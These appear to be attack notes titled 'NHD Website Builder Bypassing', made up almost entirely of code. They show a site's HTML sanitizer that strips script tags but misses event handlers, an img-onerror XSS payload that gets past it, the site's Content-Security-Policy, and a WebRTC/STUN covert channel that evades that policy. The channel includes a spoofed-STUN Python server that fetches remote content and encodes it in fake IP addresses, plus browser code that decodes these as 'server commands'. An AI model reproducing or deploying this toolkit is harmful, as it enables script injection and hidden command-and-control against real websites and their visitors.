NHD Website Builder Bypassing

Clean: (value) => {
 
    if (value && value.length > 0) {
 
        var response = [];
        var start = 0;
        for (var i = 0; i < value.length - 1; i++) {
            var char = value[i];
            var char2 = value[i + 1];
 
            if (char == '<' && char2 == '?') {
 
                if (i - start > 0) response.push(value.substring(start, i));
 
                for (var j = i + 2; j < value.length; j++) {
                    var end1 = value[j];
                    var end2 = value[j + 1];
                    i = j;
                    start = j + 2;
                    if (end1 == '?' && end2 == '>') {
                        break;
                    }
                }
                continue;
            }
 
            if (char == '<' && char2 == '%') {
 
                if (i - start > 0) response.push(value.substring(start, i));
 
                for (var j = i + 2; j < value.length; j++) {
                    var end1 = value[j];
                    var end2 = value[j + 1];
                    i = j;
                    start = j + 2;
                    if (end1 == '%' && end2 == '>') {
                        break;
                    }
                }
                continue;
            }
 
            if (value[i] == '<' && value[i + 1] == '!' && value[i + 2] == '-' && value[i + 3] == '-') {
 
                if (i - start > 0) response.push(value.substring(start, i));
 
                for (var j = i + 3; j < value.length; j++) {
                    i = j;
                    start = j + 3;
                    if (value[j] == '-' && value[j + 1] == '-' && value[j + 2] == '>') {
                        break;
                    }
                }
                continue;
            }
 
            if (i + 7 < value.length && value.substring(i, i + 7).toLowerCase() == '<script') {
                console.log('script section removed...');
                if (i - start > 0) response.push(value.substring(start, i));
 
                for (var j = i + 7; j < value.length; j++) {
                    i = j;
                    start = j + 9;
                    if (j + 9 < value.length && value.substring(j, j + 9).toLowerCase() == '</script>') {
                        break;
                    }
                }
                continue;
            }
 
        }
        response.push(value.substring(start));
        //console.log(response);
        return response.join('');
    }
 
    return value;
 
}
 

<img src="x" onerror="(function(self){ /* Your Code Here */ })(this);">
 

<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self'
       'unsafe-inline'
        https://data.illuminatingsoftware.com
        https://fonts.googleapis.com
        https://cdn.orkboo.com
        https://code.jquery.com
        https://stackpath.bootstrapcdn.com;
  style-src 'self'
       'unsafe-inline'
        https://fonts.googleapis.com
        https://cdn.orkboo.com
        https://stackpath.bootstrapcdn.com
        https://data.illuminatingsoftware.com
        https://cdnjs.cloudflare.com;
  img-src 'self' data:;
  font-src 'self'
        https://fonts.googleapis.com
       https://fonts.gstatic.com
        https://cdn.orkboo.com
        https://data.illuminatingsoftware.com;
  frame-src 'self';
  child-src 'none';
  object-src 'none';
  connect-src 'self'
        https://data.illuminatingsoftware.com
       https://stackpath.bootstrapcdn.com;
"/>
 

<img src="x" onerror="
  const p = new RTCPeerConnection({
    iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
  });
 
  p.createDataChannel('test');
 
  p.onicecandidate = (e) => {
    if (e.candidate && e.candidate.candidate.includes('srflx')) {
      alert('Connection Works ' + e.candidate.candidate);
      p.close();
    }
  };
 
  p.createOffer()
    .then(o => p.setLocalDescription(o))
    .catch(err => console.error('WebRTC Error:', err));
">
 

var pc = new RTCPeerConnection({ iceServers:[{urls:'stun:'+SERVER+':'+port}] });
pc.createDataChannel('d');
 

import asyncio
 
class STUNProtocol(asyncio.DatagramProtocol):
    def __init__(self, port):
        self.port = port
 
    def datagram_received(self, data, addr):
 

import struct
import asyncio
 
def make_spoofed_stun_response(txn_id: bytes, data_bytes: bytes) -> bytes:
    # Make sure data_bytes is long enough
    if len(data_bytes) < 4:
        data_bytes = data_bytes.ljust(4, b'\x00')
 
    # XOR processing. STUN rules require the IP address to be XOR'd with the Magic Cookie (0x2112A442)
    magic_cookie = 0x2112A442
    ip_int = struct.unpack("!I", data_bytes[:4])[0]
    xor_ip = ip_int ^ magic_cookie
 
    attr_val = struct.pack("!BBH I", 0x00, 0x01, 0x0000, xor_ip) # Port set to 0
    attr_len = len(attr_val)
    attr = struct.pack("!HH", 0x0020, attr_len) + attr_val
 
    # Build STUN Header (0x0101 is Binding Response)
    hdr = struct.pack("!HHI", 0x0101, len(attr), magic_cookie) + txn_id
    return hdr + attr
 

pc.onicecandidate = function(event) {
    if (event.candidate) {
        let parts = event.candidate.address.split('.');
        if (parts.length === 4) {
            let receivedBytes = parts.map(Number);
            let decodedString = String.fromCharCode(...receivedBytes);
            console.log("Server commands:", decodedString);
 
            // Run next steps
        }
    }
};
 

import socket, struct, urllib.request, ssl, time, threading, argparse
 
MAGIC = 0x2112A442
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
 
payload = b""
lock = threading.Lock()
 
 
def fetch(url):
    global payload
    try:
        req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        raw = resp.read()
        # Try gbk, if fail try utf-8, if fail use raw bytes
        try:
            text = raw.decode("gbk")
        except:
            try:
                text = raw.decode("utf-8")
            except:
                text = raw.hex()
        with lock:
            payload = text.encode("utf-8")
            while len(payload) % 4:
                payload += b'\x00'
        print(f"[*] {len(payload)}B: {text[:80]}")
    except Exception as e:
        print(f"[!] {e}")
 
 
def stun_resp(txn, port_val, ip_bytes):
    xp = port_val ^ 0x2112
    xi = struct.unpack("!I", ip_bytes)[0] ^ MAGIC
    a = struct.pack("!BBH I", 0, 1, xp, xi)
    return struct.pack("!HHI", 0x0101, len(a) + 4, MAGIC) + txn + struct.pack("!HH", 0x0020, len(a)) + a
 
 
def serve(host, port, idx):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind((host, port))
    while True:
        try:
            d, addr = s.recvfrom(1024)
        except:
            continue
        if len(d) >= 20 and struct.unpack("!H", d[:2])[0] == 0x0001:
            t = d[8:20]
            with lock:
                if idx == -1:
                    # Control: port=chunks, ip=[lenH,lenL,0xAA,0xBB]
                    n = len(payload)
                    r = stun_resp(t, n // 4, bytes([(n >> 8) & 0xFF, n & 0xFF, 0xAA, 0xBB]))
                else:
                    o = idx * 4
                    c = payload[o:o+4] if o + 4 <= len(payload) else b'\0\0\0\0'
                    r = stun_resp(t, idx, c)
            try:
                s.sendto(r, addr)
            except:
                pass
 
 
def main():
    p = argparse.ArgumentParser(description="STUN-HTTP Proxy")
    p.add_argument("url", help="Proxy URL")
    p.add_argument("--host", default="0.0.0.0")
    p.add_argument("--port", type=int, default=3478)
    p.add_argument("--interval", type=int, default=10, help="Refresh interval")
    p.add_argument("--max-chunks", type=int, default=50, help="Max chunks")
    a = p.parse_args()
 
    print(f"  STUN-HTTP Proxy")
    print(f"  URL: {a.url}")
    print(f"  UDP: {a.port}-{a.port + a.max_chunks}")
    print()
 
    fetch(a.url)
 
    # Start ports
    threading.Thread(target=serve, args=(a.host, a.port, -1), daemon=True).start()
    for i in range(a.max_chunks):
        threading.Thread(target=serve, args=(a.host, a.port + 1 + i, i), daemon=True).start()
 
    print(f"[*] ready\n")
    while True:
        time.sleep(a.interval)
        fetch(a.url)
 
 
if __name__ == "__main__":
    main()